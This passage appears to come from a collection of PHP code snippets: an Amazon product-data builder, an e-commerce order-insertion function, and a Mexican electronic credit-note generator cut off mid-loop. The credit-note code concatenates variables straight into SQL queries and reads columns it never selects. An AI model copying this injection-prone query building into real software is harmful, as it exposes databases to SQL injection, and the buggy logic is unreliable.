\n\t\t\t\t'hasGallery'\t\t\t=> 'false',\n );\n\t\t\t\n\t\t\t// try to rebuid the description if is empty\n\t\t\tif( trim($retProd[\"EditorialReviews\"]) == \"\" ){\n\t\t\t\tif( isset($item['EditorialReviews']['EditorialReview']) && count($item['EditorialReviews']['EditorialReview']) > 0 ){\n\t\t\t\t\t\n\t\t\t\t\t$new_description = array();\n\t\t\t\t\tforeach ($item['EditorialReviews']['EditorialReview'] as $desc) {\n\t\t\t\t\t\tif( isset($desc['Content']) && isset($desc['Source']) ){\n\t\t\t\t\t\t\t//$new_description[] = '<h3>' . ( $desc['Source'] ) . ':</h3>';\n\t\t\t\t\t\t\t$new_description[] = $desc['Content'] . '<br />';\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif( isset($new_description) && count($new_description) > 0 ){\n\t\t\t\t\t$retProd[\"EditorialReviews\"] = implode( \"\\n\", $new_description );\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n // CustomerReviews url\n if ( isset($item['CustomerReviews'], $item['CustomerReviews']['HasReviews'])\n && $item['CustomerReviews']['HasReviews'] ) {\n $retProd['CustomerReviewsURL'] = $item['CustomerReviews']['IFrameURL'];\n }\n\n // Images\n $retProd['images'] = $this->build_images_data( $item );\n if ( empty($retProd['images']['large']) ) {\n // no images found - if has variations, try to find first image from variations\n $retProd['images'] = $this->get_first_variation_image( $item );\n }\n \n if ( empty($retProd['SmallImage']) ) {\n if ( isset($retProd['images']['small']) && !empty($retProd['images']['small']) ) {\n $retProd['SmallImage'] = $retProd['images']['small'][0];\n }\n }\n if ( empty($retProd['LargeImage']) ) {\n if ( isset($retProd['images']['large']) && !empty($retProd['images']['large']) ) {\n $retProd['LargeImage'] = $retProd['images']['large'][0];\n }\n }\n\n\t\t\t// has gallery: get gallery images\n\t\t\tif ( isset($item['ImageSets']) && count($item['ImageSets']) > 0 ) {\n\t\t\t\tforeach ( $item['ImageSets'][\"ImageSet\"] as $key => $value ) {\n\t\t\t\t\tif ( isset($value['LargeImage']['URL']) ) {\n\t\t\t\t\t\t$retProd['hasGallery'] = 'true';\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n return $retProd;\n }", "public function completeorder($txtName,$txtCouponCode,$txtEmail,$txtPhone,$txtAddress1,$txtAddress2,$txtAddress3,$txtAddress4,$txtCity,$txtLandmark,$txtPin,$ddlState,$ddlPaymentType,$txtSpecialNote,$OrderDiscount,$shippingCharge,$totalAmount){\n\n\t\t$countCartItem = 0;//Count Cart Item Quantity\n\t\tforeach($this->cart->contents() as $items)\n\t\t{\n\t\t $countCartItem++;\n\t\t}\n\t\t$object=array(\n\t\t\t'OrderBY' => $txtName,\n\t\t\t'OrderDateTime' => date('Y/m/d H:i:s'),\n\t\t\t'OrderQuantity' => $countCartItem,\n\t\t\t'OrderCuponCode' => $txtCouponCode,\n\t\t\t'OrderDiscount' => $OrderDiscount,\n\t\t\t'OrderShipmentCharge' => $shippingCharge,\n\t\t\t'OrderTotAmount' => $totalAmount,\n\t\t\t'OrderShipName' => $txtName,\n\t\t\t'OrderShipAddressL1' => $txtAddress1,\n\t\t\t'OrderShipAddressL2' => $txtAddress2,\n\t\t\t'OrderShipAddressL3' => $txtAddress3,\n\t\t\t'OrderShipAddressL4' => $txtAddress4,\n\t\t\t'OrderLandmark' => $txtLandmark,\n\t\t\t'OrderCity' => $txtCity,\n\t\t\t'OrderState' => $ddlState,\n\t\t\t'OrderZip' => $txtPin,\n\t\t\t'OrderCountry' => 'India',\n\t\t\t'OrderPhone' => $txtPhone,\n\t\t\t'OrderEmail' => $txtEmail,\n\t\t\t'OrderStatus' => 'Pending',\n\t\t\t'PaymentMode' => $ddlPaymentType\n\t\t);\n\t\t$this->db->insert('tbl_order_summery', $object);\n\t\t$orderId=$this->db->insert_id();\n\t\t$this->inserOrderproduct($orderId);\n\t\tif($this->session->userdata('referaldiscount'))\n\t\t{\n\t\t\t$this->updatebivapoints();\t\n\t\t}\n\t\t//$this->insertBivapoints($txtEmail,$orderId);\n\t\treturn $orderId;\n\t}", "function XSACreditNote($InvoiceNo, $orderno, $debtorno, $TypeInvoice,$tag,$serie,$folio, &$db)\n{\n\t$charelectronic='01';\n\t$charelectronic=$charelectronic.'|'.$serie;\n\t$serieelect=$serie;\n\t//$serieelect=$TypeInvoice.'-'.$_SESSION['Tagref'];\n\t$folioelect=$folio;//$InvoiceNoTAG;\n\t//$folioelect=$InvoiceNo;\n\t$charelectronic=$charelectronic.'|'.$serieelect;\n\t$charelectronic=$charelectronic.'|'.$folioelect;\n\t// consulto datos de la factura\n\t$imprimepublico=0;\n\t$InvoiceHeaderSQL = \"SELECT DISTINCT\n\t\t\t\treplace(debtortrans.trandate,'-','/') as trandate,\n\t\t\t\t(debtortrans.ovamount*-1) as ovamount,\n\t\t\t\t(debtortrans.ovdiscount*-1) as ovdiscount,\n\t\t\t\t(debtortrans.ovgst*-1) as ovgst,\n\t\t\t\tdebtorsmaster.name,\n\t\t\t\tdebtorsmaster.address1,debtorsmaster.address2,\n\t\t\t\tdebtorsmaster.address3,debtorsmaster.address4,debtorsmaster.address5,\n\t\t\t\tdebtorsmaster.address6,debtorsmaster.invaddrbranch,\n\t\t\t\tcustbranch.taxid as rfc,\n\t\t\t\tcustbranch.brname,\n\t\t\t\tcustbranch.braddress1,custbranch.braddress2,custbranch.braddress3,\n\t\t\t\tcustbranch.braddress4,custbranch.braddress5,custbranch.braddress6,\n\t\t\t\tcustbranch.brpostaddr1,custbranch.brpostaddr2,custbranch.brpostaddr3,\n\t\t\t\tcustbranch.brpostaddr4,custbranch.brpostaddr5,custbranch.brpostaddr6,\n\t\t\t\tdebtortrans.debtorno,debtortrans.branchcode,debtortrans.folio,\n\t\t\t\treplace(origtrandate,'-','/') as origtrandate,\n\t\t\t\tdebtortrans.currcode,\n\t\t\t\tcustbranch.branchcode,\n\t\t\t\tdebtortrans.tpe,\n\t\t\t\tdebtortrans.shipvia,\n\t\t\t\t(debtortrans.ovfreight*-1) as ovfreight,\n\t\t\t\tdebtortrans.rate AS cambio,\n\t\t\t\tdebtorsmaster.currcode,\n\t\t\t\tcustbranch.defaultlocation,\n\t\t\t\tcustbranch.brnumext,\n\t\t\t\tcustbranch.brnumint,\n\t\t\t\t\";\n\t$InvoiceHeaderSQL = $InvoiceHeaderSQL . \"\n\t\t\t\tlocations.taxprovinceid,\n\t\t\t\tdebtortrans.tagref,\n\t\t\t\tcustbranch.phoneno as telofi,\n\t\t\t\tdebtortrans.paymentname,\n\t\t\tdebtortrans.nocuenta\n\t\t\tFROM debtortrans INNER JOIN debtorsmaster ON\n\t\t\t\tdebtortrans.debtorno = debtorsmaster.debtorno\n\t\t\t\tINNER JOIN custbranch ON\n\t\t\t\tdebtortrans.branchcode = custbranch.branchcode\n\t\t\t\tAND debtortrans.debtorno = custbranch.debtorno\n\t\t\t\tINNER JOIN currencies ON\n\t\t\t\tdebtorsmaster.currcode = currencies.currabrev\n\t\t\t\tINNER JOIN stockmoves ON\n\t\t\t\tstockmoves.transno=debtortrans.transno\n\t\t\t\tINNER JOIN locations ON\n\t\t\t\tstockmoves.loccode = locations.loccode\n\t\t\tWHERE debtortrans.transno = \" . $InvoiceNo . \"\n\t\t\t\tAND debtortrans.type=11\n\t\t\t\tAND stockmoves.type=11\";\n\t$Result=DB_query($InvoiceHeaderSQL,$db);\n\tif (DB_num_rows($Result)>0) {\n\t\t$myrow = DB_fetch_array($Result);\n\t\t// fecha emision\n\t\t$fechainvoice=$myrow['origtrandate'];\n\t\t$UserRegister=$myrow['UserRegister'];\n\t\t$charelectronic=$charelectronic.'|'.$fechainvoice;\n\t\t// subtotal\n\t\t$rfccliente=str_replace(\"-\",\"\",$myrow['rfc']);\n\t\t$rfccliente=str_replace(\" \",\"\",$rfccliente);\n\t\t$nombre=$myrow['name'];\n\t\t$subtotal= FormatNumberERP($myrow['ovamount']);\n\t\tif (strlen($rfccliente)<12){\n\t\t\t$rfccliente=\"XAXX010101000\";\n\t\t\t$nombre=\"Publico en General\";\n\t\t\t$subtotal= FormatNumberERP($myrow['ovamount']+$myrow['ovgst']);\n\t\t\t$imprimepublico=1;\n\t\t}elseif(strlen($rfccliente)>=14){\n\t\t\t$rfccliente=\"XAXX010101000\";\n\t\t\t$nombre=\"Publico en General\";\n\t\t\t$subtotal= FormatNumberERP($myrow['ovamount']+$myrow['ovgst']);\n\t\t\t$imprimepublico=1;\n\t\t}\n\t\t$charelectronic=$charelectronic.'|'.$subtotal;\n\t\t// total factura\n\t\t$total=FormatNumberERP($myrow['ovamount']+$myrow['ovgst']);\n\t\t$charelectronic=$charelectronic.'|'.$total;\n\t\t// total de iva\n\t\t$iva=FormatNumberERP($myrow['ovgst']);\n\t\t// transladado\n\t\t$charelectronic=$charelectronic.'|'.$iva;\n\t\t// retenido\n\t\t$ivaret=0;\n\t\t$charelectronic=$charelectronic.'|'.$ivaret;\n\t\t//descuento\n\t\t$descuento=FormatNumberERP($myrow['ovdiscount']);\n\t\t$charelectronic=$charelectronic.'|'.$descuento;\n\t\t//motivo descuento\n\t\t$charelectronic=$charelectronic.'|';\n\t\t// tipo de moneda\n\t\t$moneda=$myrow['currcode'];\n\t\t// CANTIDAD CON LETRAS\n\t\t$totaletras=$myrow['ovamount']+$myrow['ovgst'];\n\t\t$totalx=str_replace(',' ,'', FormatNumberERP($totaletras));\n\t\t$separa=explode(\".\",$totalx);\n\t\t$montoletra = $separa[0];\n\t\t$separa2=explode(\".\", FormatNumberERP($total));\n\t\t$montoctvs2 = $separa2[1];\n\t\t$montoletra=Numbers_Words::toWords($montoletra, 'es');\n\t\t\n\t\t$zeroPad = \"\";\n\t\tif (empty($_SESSION['Decimals'])) {\n\t\t\t$zeroPad = str_pad($zeroPad, 4, 0, STR_PAD_RIGHT);\n\t\t} else {\n\t\t\t$zeroPad = str_pad($zeroPad, $_SESSION['Decimals'], 0, STR_PAD_RIGHT);\n\t\t}\n\t\t\n\t\tif ($moneda == 'MXN') {\n\t\t\t$montoletra=ucwords($montoletra) . \" Pesos \". $montoctvs2 .\"/1$zeroPad M.N.\";\n\t\t} else {\n\t\t\t$montoletra=ucwords($montoletra) . \" Dolares \". $montoctvs2 .\"/1$zeroPad USD\";\n\t\t}\n\t\t$charelectronic=$charelectronic.'|'.$montoletra;\n\t\t// tipo moneda\n\t\t$charelectronic=$charelectronic.'|'.$moneda;\n\t\t// tipo de cambio\n\t\t$rate=FormatRateNumberERP($myrow['cambio']);\n\t\t$charelectronic=$charelectronic.'|'.$rate;\n\t\t// numero de orden para referencia\n\t\t$ordenref=$myrow['orderno'];\n\t\t$charelectronic=$charelectronic.'|'.$ordenref;\n\t\t// observaciones 1: vendedores\n\t\t$vendedor=\"\";\n\t\t$SQL=\" SELECT *\n\t\t FROM salesman\n\t\t WHERE salesmancode='\".$myrow['salesman'].\"'\";\n\t\t$Result= DB_query($SQL,$db);\n\t\tif (DB_num_rows($Result)==1) {\n\t\t\t$myrowsales = DB_fetch_array($Result);\n\t\t\t$vendedor=$myrowsales['salesmanname'];\n\t\t}\n\t\t$observaciones1='Vendedor: '.$myrow['salesman'].' '.$vendedor;\n\t\t$charelectronic=$charelectronic.'|'.$observaciones1;\n\t\t// observaciones 2\n\t\t$SQL=\" SELECT l.telephone,l.comments,t.tagdescription\n\t\t FROM legalbusinessunit l, tags t\n\t\t WHERE l.legalid=t.legalid AND tagref='\".$tag.\"'\";\n\t\t$Result= DB_query($SQL,$db);\n\t\tif (DB_num_rows($Result)==1) {\n\t\t\t$myrowtags = DB_fetch_array($Result);\n\t\t\t$telephone=trim($myrowtags['telephone']);\n\t\t\t$comments=trim($myrowtags['comments']);\n\t\t}\n\t\t$observaciones2=\" Atencion a clientes \" .$telephone;\n\t\t$charelectronic=$charelectronic.'|'.$observaciones2;\n\t\t$metodopago = $myrow['paymentname'];\n\t\tif ($metodopago==\"\") {\n\t\t\t$metodopago = \"No Identificado\";\n\t\t}\n\n\t\t$nocuenta = $myrow['nocuenta'];\n\t\tif ($nocuenta==\"\") {\n\t\t\t$nocuenta = \"No Identificado\";\n\t\t}\n\n\n\t\t// observaciones 3\n\t\t$observaciones3='Id Nota de Credito:'.$InvoiceNo.' '.$comments .' usr:'.$UserRegister;\n\t\t$charelectronic=$charelectronic.'|'.$observaciones3;\n\n\t\t//$observaciones3='Id Nota de Credito:'.$InvoiceNo.' '.$comments .' usr:'.$UserRegister;\n\t\t$charelectronic=$charelectronic.'|'.$nocuenta;\n\t\t// datos de la forma de pago\n\t\t$charelectronic=$charelectronic.'|'.chr(13).chr(10).'02';\n\n\t\t$terminospago=$myrow['terms'];\n\t\t$SQL=\" SELECT *\n\t\t FROM debtortrans\n\t\t WHERE debtortrans.type=70\n\t\t\tAND debtortrans.order_=\" . $InvoiceNo ;\n\t\t$Result= DB_query($SQL,$db);\n\t\tif (DB_num_rows($Result)==0) {\n\t\t\t$Tipopago=\"Pago en una sola exhibicion\";\n\t\t}else{\n\t\t\t$Tipopago=\"Parcialidades\";\n\t\t}\n\t\t$Tipopago=$Tipopago.' '.$terminospago;\n\t\t//$Tipopago=$terminospago;\n\t\t$charelectronic=$charelectronic.'|'.$Tipopago;\n\t\t// condiciones de pago\n\t\t$charelectronic=$charelectronic.'|Genera Interes Moratorio 3 % mensual/credito';\n\t\t// metodo de pago\n\t\t//\t$metodopago='varios';\n\t\t$charelectronic=$charelectronic.'|'.$metodopago;\n\t\t// fecha vencimiento\n\t\t$fechavence=$myrow['trandate'];\n\t\t$charelectronic=$charelectronic.'|'.$fechavence;\n\t\t// observaciones 4\n\t\t$observaciones4=$observaciones3;\n\t\t$charelectronic=$charelectronic.'|'.$observaciones4;\n\t\t// datos del cliente\n\t\t$charelectronic=$charelectronic.'|'.chr(13).chr(10).'03';\n\t\t$branch=$myrow['debtorno'];\n\t\t$charelectronic=$charelectronic.'|'.$branch;\n\t\t$charelectronic=$charelectronic.'|'.$rfccliente;\n\t\t$charelectronic=$charelectronic.'|'.$nombre;\n\t\t\n\t\tif (strlen(str_replace('|','',str_replace('-','',str_replace(' ','',str_replace('\\r','',str_replace('\\n','',$myrow['telofi']))))))>0){\n\t\t\t$pais=str_replace('|','',str_replace('-','',str_replace(' ','',str_replace('\\r','',str_replace('\\n','',$myrow['telofi'])))));//\"Mexico\";//$myrow['name'];\n\t\t}else{\n\t\t\t$pais=\"Mexico\";\n\t\t}\n\t\t$charelectronic=$charelectronic.'|'.$pais;\n\t\t$calle=\"\";\n\t\tif ($imprimepublico==0){\n\t\t\t$calle=$myrow['address1'];\n\t\t}\n\t\t$charelectronic=$charelectronic.'|'.$calle;\n\t\t$noext=$myrow['brnumext'];\n\t\t$charelectronic=$charelectronic.'|'.$noext;\n\t\t$noint=$myrow['brnumint'];\n\t\t$charelectronic=$charelectronic.'|'.$noint;\n\t\t$colonia=\"\";\n\t\tif ($imprimepublico==0){\n\t\t\t$colonia=$myrow['address2'];\n\t\t}\n\t\t$charelectronic=$charelectronic.'|'.$colonia;\n\t\t$localidad=\"\";\n\t\t$charelectronic=$charelectronic.'|'.$localidad;\n\t\t$referenciacalle=\"\";\n\t\t$charelectronic=$charelectronic.'|'.$referenciacalle;\n\t\t$municipio=\"\";\n\t\tif ($imprimepublico==0){\n\t\t\t$municipio=$myrow['address3'];\n\t\t}\n\t\t$charelectronic=$charelectronic.'|'.$municipio;\n\t\t$edo=\"\";\n\t\tif ($imprimepublico==0){\n\t\t\t$edo=$myrow['address4'];\n\t\t}\n\t\t$charelectronic=$charelectronic.'|'.$edo;\n\t\t$cp=\"\";\n\t\tif ($imprimepublico==0){\n\t\t\t$cp=$myrow['address5'];\n\t\t}\n\t\t$charelectronic=$charelectronic.'|'.$cp;\n\t\t// datos del custbranch\n\t\t$charelectronic=$charelectronic.'|'.chr(13).chr(10).'04';\n\t\t$branch=$myrow['branchcode'];\n\t\t$charelectronic=$charelectronic.'|'.$branch;\n\t\t//$rfc=$myrow['rfc'];\n\t\t//$charelectronic=$charelectronic.'|'.$rfccliente;\n\t\t$nombre=$myrow['name'];\n\t\t$charelectronic=$charelectronic.'|'.$nombre;\n\t\t\n\t\tif (strlen(str_replace('|','',str_replace('-','',str_replace(' ','',str_replace('\\r','',str_replace('\\n','',$myrow['telofi']))))))>0) {\n\t\t\t$pais=str_replace('|','',str_replace('-','',str_replace(' ','',str_replace('\\r','',str_replace('\\n','',$myrow['telofi'])))));//\"Mexico\";//$myrow['name'];\n\t\t}else{\n\t\t\t$pais=\"Mexico\";\n\t\t}\n\t\t$charelectronic=$charelectronic.'|'.$pais;\n\t\t$calle=$myrow['braddress1'];\n\t\t$charelectronic=$charelectronic.'|'.$calle;\n\t\t$noext=$myrow['brnumext'];\n\t\t$charelectronic=$charelectronic.'|'.$noext;\n\t\t$noint=$myrow['brnumint'];\n\t\t$charelectronic=$charelectronic.'|'.$noint;\n\t\t$colonia=$myrow['braddress6'];\n\t\t$charelectronic=$charelectronic.'|'.$colonia;\n\t\t$localidad=$myrow['braddress2'];\n\t\t$charelectronic=$charelectronic.'|'.$localidad;\n\t\t$referenciacalle=\"\";\n\t\t$charelectronic=$charelectronic.'|'.$referenciacalle;\n\t\t$municipio=$myrow['braddress3'];\n\t\t$charelectronic=$charelectronic.'|'.$municipio;\n\t\t$edo=$myrow['braddress3'];\n\t\t$charelectronic=$charelectronic.'|'.$edo;\n\t\t$cp=$myrow['braddress4'];\n\t\t$charelectronic=$charelectronic.'|'.$cp;\n\n\t}\n\t// cadena para datos de los productos\n\t// productos vendidos\n\t$charelectronicdetail='';\n\t$charelectronicinidet='|'.chr(13).chr(10).'05';\n\t// datos de ivas\n\t$charelectronictaxs='';\n\t$charelectronictaxsini='|'.chr(13).chr(10).'07';\n\t\n\tif ($rfccliente!=\"XAXX010101000\"){\n\t\t$sqldetails = 'SELECT stockmoves.stkmoveno,\n\t\t\t\t\tstockmoves.stockid,\n\t\t\t\t\tstockmoves.warranty,\n\t\t\t\t\tstockmaster.description,\n\t\t\t\t\tstockmaster.serialised,\n\t\t\t\t\tstockmaster.controlled,\n\t\t\t\t\t(stockmoves.qty) as quantity ,\n\t\t\t\t\tstockmoves.narrative,\n\t\t\t\t\tstockmaster.units,\n\t\t\t\t\tstockmaster.decimalplaces,\n\t\t\t\t\tstockmoves.discountpercent,\n\t\t\t\t\tstockmoves.discountpercent1,\n\t\t\t\t\tstockmoves.discountpercent2,\n\t\t\t\t\t((stockmoves.qty)*(stockmoves.price)) AS fxnet,\n\t\t\t\t\t((stockmoves.qty)*(stockmoves.price))- totaldescuento AS subtotal,\n\t\t\t\t\t(stockmoves.price) AS fxprice,\n\t\t\t\t\tstockmoves.narrative,\n\t\t\t\t\tstockmaster.units,\n\t\t\t\t\tstockmaster.categoryid\n\t\t\tFROM stockmoves,stockmaster\n\t\t\tWHERE stockmoves.stockid = stockmaster.stockid\n\t\t\t\tAND stockmoves.type='.$TypeInvoice.'\n\t\t\t\tAND stockmoves.transno=' . $InvoiceNo . '\n\t\t\t\tAND stockmoves.tagref=' . $tag . '\n\t\t\t\tAND stockmoves.show_on_inv_crds=1';\n\n\t\t$resultdetails=DB_query($sqldetails,$db);\n\t\t$nolinea=0;\n\t\t$descrprop=\"\";\n\t\twhile ($myrow2=DB_fetch_array($resultdetails)){\n\t\t\t$stockid=$myrow2['stockid'];\n\t\t\t$charelectronicdetail=$charelectronicdetail.$charelectronicinidet.'|'.$stockid;\n\t\t\t$stockid=$myrow2['stockid'];\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$stockid;\n\t\t\t$stockcantidad=FormatNumberERP($myrow2['quantity']);\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$stockcantidad;\n\t\t\t$stockdescrip=$myrow2['description'];\n\t\t\t// valores de los vendedorfees por linea\n\t\t\t$descrprop=\" (\";\n\t\t\t$sqlpropertyes=\"SELECT distinct p.InvoiceValue as val,sp.label\n\t\t\t FROM salesstockproperties p, stockcatproperties sp, stockmaster sm\n\t\t\t WHERE p.stkcatpropid=sp.stkcatpropid\n\t\t\t AND sp.categoryid=sm.categoryid\n\t\t\t\t AND p.orderno=\" . $orderno . \"\n\t\t\t\t AND p.typedocument=11\n\t\t\t\t \tAND sp.reqatprint=1\n\t\t\t\t AND sm.stockid='\" . $stockid . \"'\";\n\t\t\t$resultpropertyes=DB_query($sqlpropertyes,$db);\n\t\t\t$xt=0;\n\t\t\twhile ($myrowprop=DB_fetch_array($resultpropertyes)){\n\t\t\t\t$traba=explode(\" \",$myrowprop['val']);\n\t\t\t\t$trab=$traba[0];\n\t\t\t\tif ($xt==0){\n\n\t\t\t\t\t$descrprop=$descrprop.' '.$myrowprop['label'].':'.$trab;\n\t\t\t\t}else{\n\t\t\t\t\t$descrprop=$descrprop.\" , \".$myrowprop['label'].':'.$trab;\n\t\t\t\t}\n\n\t\t\t\t$xt=$xt+1;\n\t\t\t}\n\t\t\t$descrprop=$descrprop.\" )\";\n\t\t\tif ($xt==0){\n\t\t\t\t$descrprop=\"\";\n\t\t\t}\n\n\t\t\t$descrnarrative=\"\";\n\t\t\t$sqlnarrative=\"SELECT narrative\n\t\t\t\tFROM notesorderdetails p\n\t\t\t\tWHERE p.orderno=\" . $orderno . \"\n\t\t\t\t AND p.stkcode='\" . $stockid . \"'\";\n\t\t\t$resultnarrative=DB_query($sqlnarrative,$db);\n\t\t\twhile ($myrownarrative=DB_fetch_array($resultnarrative)){\n\t\t\t\t$descrnarrative=str_replace('\\r','',str_replace('\\n','',$myrownarrative['narrative']));\n\t\t\t}\n\t\t\tif (strlen($descrnarrative)==0){\n\t\t\t\t$descrnarrative=\"\";\n\t\t\t}\n\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$stockdescrip.$descrprop.$descrnarrative;\n\t\t\t$stockprecio=FormatNumberERP($myrow2['fxprice']);\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$stockprecio;\n\t\t\t$stockneto=FormatNumberERP($myrow2['fxnet']);\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$stockneto;\n\t\t\t$stockunits=$myrow2['units'];\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$stockunits;\n\t\t\t$stockcat=$myrow2['categoryid'];\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$stockcat;\n\t\t\t$ordencompra=\"\";\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$ordencompra;\n\t\t\t// descuentos\n\t\t\t$discount1=FormatNumberERP($myrow2['discountpercent']*100);\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$discount1;\n\t\t\t$discount2=FormatNumberERP($myrow2['discountpercent1']*100);\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$discount2;\n\t\t\t$discount3=FormatNumberERP($myrow2['discountpercent2']*100);\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$discount3;\n\t\t\t//subtotal\n\t\t\t$subtotal=FormatNumberERP($myrow2['subtotal']);\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$subtotal;\n\t\t\t$nameaduana='';\n\t\t\t$numberaduana='';\n\t\t\t$fechaaduana='';\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$nameaduana;\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$numberaduana;\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$fechaaduana;\n\t\t\t$stkmoveno=$myrow2['stkmoveno'];\n\t\t\t$nolinea=$nolinea+1;\n\t\t\t$sqlstockmovestaxes=\"SELECT stkmoveno,taxauthid,taxrate,\n\t\t\t\t\t\ttaxcalculationorder,taxontax,\n\t\t\t\t\t\ttaxauthorities.description\n\t\t\t\t\t FROM stockmovestaxes,taxauthorities\n\t\t\t\t\t WHERE taxauthorities.taxid=stockmovestaxes.taxauthid\n\t\t\t\t\t\t AND stkmoveno=\".$stkmoveno;\n\t\t\t$resultstockmovestaxes=DB_query($sqlstockmovestaxes,$db);\n\t\t\twhile ($myrow3=DB_fetch_array($resultstockmovestaxes)){\n\t\t\t\t$impuesto=$myrow3['description'];\n\t\t\t\t$charelectronictaxs=$charelectronictaxs.$charelectronictaxsini.'|'.$impuesto;\n\t\t\t\t$taxrate=FormatNumberERP($myrow3['taxrate']*100);\n\t\t\t\t$charelectronictaxs=$charelectronictaxs.'|'.$taxrate;\n\t\t\t\t$taxratetotal=FormatNumberERP($myrow3['taxrate']*($myrow2['subtotal']));\n\t\t\t\t$charelectronictaxs=$charelectronictaxs.'|'.$taxratetotal;\n\t\t\t}\n\n\t\t}\n\t}else{\n\t\t$sqldetails = 'SELECT stockmoves.stkmoveno,\n\t\t\t\t\tstockmoves.stockid,\n\t\t\t\t\tstockmoves.warranty,\n\t\t\t\t\tstockmaster.description,\n\t\t\t\t\tstockmaster.serialised,\n\t\t\t\t\tstockmaster.controlled,\n\t\t\t\t\t(stockmoves.qty) as quantity ,\n\t\t\t\t\tstockmoves.narrative,\n\t\t\t\t\tstockmaster.units,\n\t\t\t\t\tstockmaster.decimalplaces,\n\t\t\t\t\tstockmoves.discountpercent,\n\t\t\t\t\tstockmoves.discountpercent1,\n\t\t\t\t\tstockmoves.discountpercent2,\n\t\t\t\t\t((stockmoves.qty)*(stockmoves.price)) AS fxnet,\n\t\t\t\t\t((stockmoves.qty)*(stockmoves.price))-totaldescuento AS subtotal,\n\t\t\t\t\t(stockmoves.price) AS fxprice,\n\t\t\t\t\tstockmoves.narrative,\n\t\t\t\t\tstockmaster.units,\n\t\t\t\t\tstockmaster.categoryid\n\t\t\tFROM stockmoves,stockmaster\n\t\t\tWHERE stockmoves.stockid = stockmaster.stockid\n\t\t\t\tAND stockmoves.type='.$TypeInvoice.'\n\t\t\t\tAND stockmoves.transno=' . $InvoiceNo . '\n\t\t\t\tAND stockmoves.tagref=' . $tag . '\n\t\t\t\tAND stockmoves.show_on_inv_crds=1';\n\n\t\t$sqldetails = 'SELECT stockmoves.stkmoveno,\n\t\t\t\t\t\tstockmoves.stockid,\n\t\t\t\t\t\tstockmoves.warranty,\n\t\t\t\t\t\tstockmaster.description,\n\t\t\t\t\t\tstockmaster.serialised,\n\t\t\t\t\t\tstockmaster.controlled,\n\t\t\t\t\t\t(case when stockmoves.type not in (11,65) then stockmoves.qty*-1 else qty end) as quantity ,\n\t\t\t\t\t\tstockmoves.narrative,\n\t\t\t\t\t\tstockmaster.units,\n\t\t\t\t\t\tstockmaster.decimalplaces,\n\t\t\t\t\t\tstockmoves.discountpercent,\n\t\t\t\t\t\tstockmoves.discountpercent1,\n\t\t\t\t\t\tstockmoves.discountpercent2,\n\t\t\t\t\t\t((case when stockmoves.type not in (11,65) then stockmoves.qty*-1 else qty end)*(stockmoves.price + (stockmoves.price * IF(stockmovestaxes.taxrate IS NULL, 0, stockmovestaxes.taxrate)))) AS fxnet,\n\t\t\t\t\t\t((case when stockmoves.type not in (11,65) then stockmoves.qty*-1 else qty end)*(stockmoves.price + (stockmoves.price * IF(stockmovestaxes.taxrate IS NULL, 0, stockmovestaxes.taxrate))))-totaldescuento as subtotal,\n\t\t\t\t\t\t(stockmoves.price + (stockmoves.price * IF(stockmovestaxes.taxrate IS NULL, 0, stockmovestaxes.taxrate))) AS fxprice,\n\t\t\t\t\t\tstockmoves.narrative,\n\t\t\t\t\t\tstockmaster.units,\n\t\t\t\t\t\tstockmaster.categoryid,\n\t\t\t\t\t\tstockmoves.loccode as almacen,\n\t\t\t\t\t\tstockmoves.showdescription,\n\t\t\t\t\t stockcategory.MensajePV\n\t\t\t\t\tFROM stockmoves inner join stockmaster ON stockmoves.stockid = stockmaster.stockid\n\t\t\t\t\t\t\t\tinner join stockcategory on stockcategory.categoryid = stockmaster.categoryid\n\t\t\t\t\t\t\t\tleft JOIN stockmovestaxes ON stockmovestaxes.stkmoveno=stockmoves.stkmoveno\n\t\t\t\tWHERE stockmoves.stockid = stockmaster.stockid\n\t\t\t\t\tAND stockmoves.type='.$TypeInvoice.'\n\t\t\t\t\tAND stockmoves.transno=' . $InvoiceNo . '\n\t\t\t\t\tAND stockmoves.tagref=' . $tag . '\n\t\t\t\t\tAND stockmoves.show_on_inv_crds=1\n\t\t\t\t\tAND stockcategory.categoryid = stockmaster.categoryid';\n\n\t\t$resultdetails=DB_query($sqldetails,$db);\n\t\twhile ($myrow2=DB_fetch_array($resultdetails)){\n\t\t\t$stockid=$myrow2['stockid'];\n\t\t\t$charelectronicdetail=$charelectronicdetail.$charelectronicinidet.'|'.$stockid;\n\t\t\t$stockid=$myrow2['stockid'];\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$stockid;\n\t\t\t$stockcantidad=FormatNumberERP($myrow2['quantity']);\n\t\t\t$charelectronicdetail=$charelectronicdetail.'|'.$stockcantidad;\n\t\t\t$stockdescrip=$myrow2['description'].' '.$myrow['ordertype'];\n\t\t\t// valores de los vendedorfees por linea\n\t\t\t$descrprop=\" (\";\n\t\t\t$sqlpropertyes=\"SELECT distinct p.InvoiceValue as val,sp.label\n\t\t\t FROM salesstockproperties p, stockcatproperties sp, stockmaster sm\n\t\t\t WHERE p.stkcatpropid=sp.stkcatpropid\n\t\t\t AND sp.categoryid=sm.categoryid\n\t\t\t\t AND p.orderno=\" . $orderno . \"\n\t\t\t\t AND p.typedocument=\" . $TypeInvoice . \"\n\t\t\t\t \t\tAND sp.reqatprint=1\n\t\t\t\t AND sm.stockid='\" . $stockid . \"'\";\n\t\t\t$resultpropertyes=DB_query($sqlpropertyes,$db);\n\t\t\t$xt=0;\n\t\t\twhile 